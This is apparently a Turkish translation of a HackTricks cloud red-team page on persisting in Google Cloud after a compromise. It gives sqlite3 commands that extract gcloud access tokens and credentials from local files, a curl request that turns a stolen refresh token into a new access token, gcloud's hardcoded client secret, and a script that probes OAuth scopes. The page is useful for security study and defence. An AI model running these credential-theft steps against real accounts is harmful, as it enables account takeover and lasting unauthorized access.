GCP - Non-svc Persistance

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Bir şekilde GCP kimlik bilgilerini veya GCP ortamında çalışan bir makineyi ele geçirdikten sonra bu kullanışlı tekniklerden yararlanabilirsiniz.

Token Kaçırma

Doğrulanmış Kullanıcı Tokenları

Bir kullanıcının mevcut token'ını almak için şunu çalıştırabilirsiniz:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Bu sayfada bu belirteci gcloud kullanarak doğrudan nasıl kullanacağınızı kontrol edin:

Yeni bir erişim belirteci oluşturmak için ayrıntıları almak için çalıştırın:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Ayrıca, $HOME/.config/gcloud/application_default_credentials.json ve $HOME/.config/gcloud/legacy_credentials/*/adc.json dosyalarında yenileme token'ları bulmak mümkündür.

Yenilenmiş bir erişim token'ı almak için yenileme token'ı, istemci kimliği ve istemci sırrını kullanarak şunu çalıştırın:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Yenileme belgelerinin geçerliliği Yönetici > Güvenlik > Google Cloud oturum kontrolü bölümünde yönetilebilir ve varsayılan olarak 16 saat olarak ayarlanmıştır, ancak hiçbir zaman süresiz olarak ayarlanabilir:

Kimlik doğrulama akışı

gcloud auth login gibi bir şey kullandığınızda kimlik doğrulama akışı tarayıcıda bir iletişim kutusu açacak ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http bağlantı noktasına şu gibi bir istek gönderecektir:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Sonra, gcloud, durumu ve kodu bazı sabit client_id (32555940559.apps.googleusercontent.com) ve client_secret (ZmssLNjJy2998hD4CTg2ejr2) ile kullanarak son yenileme belirteci verilerini alacaktır.

Localhost ile iletişim HTTP üzerinden gerçekleştiği için verileri ondersiz almak mümkündür, ancak bu veri yalnızca 1 kez geçerlidir, bu yüzden bu işe yaramaz, yenileme belirtecini dosyadan okumak daha kolaydır.

OAuth Kapsamları

Tüm Google kapsamlarını https://developers.google.com/identity/protocols/oauth2/scopes adresinde bulabilir veya aşağıdaki komutu çalıştırarak alabilirsiniz:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

gcloud'un kimlik doğrulamak için kullandığı uygulamanın hangi kapsamları destekleyebileceğini bu betikle görmek mümkündür:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Uygulamanın desteklediği kapsamların kontrol edildiğinde şunlar tespit edildi:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Bu uygulamanın drive kapsamını desteklediğini görmek ilginç, bu da bir saldırganın bir kullanıcıyı bu kapsamla bir token oluşturmaya zorladığında GCP'den Workspace'e yükselmesine izin verebilir.

Bir hizmet hesabının özel anahtar dosyasını ele geçirirseniz, genellikle istediğiniz sürece buna erişebileceksiniz. Ancak, bir hizmet hesabının OAuth token'ını çalarsanız, bu daha da ilginç olabilir, çünkü varsayılan olarak bu tokenlar genellikle sadece bir saat için kullanışlı olsa da, kurban özel API anahtarını sildiğinde, OAuth tokenı hala geçerli olacaktır.

Tabii ki, GCP ortamında çalışan bir makinede olduğunuz sürece, o makineye bağlı hizmet hesabına metadata uç noktasına başvurarak erişebileceksiniz (bu uç noktada erişebileceğiniz OAuth tokenlarının genellikle kapsamlarla sınırlı olduğunu unutmayın).

Bu teknikler için bazı çözümler https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 adresinde açıklanmıştır.

Referanslar

Last updated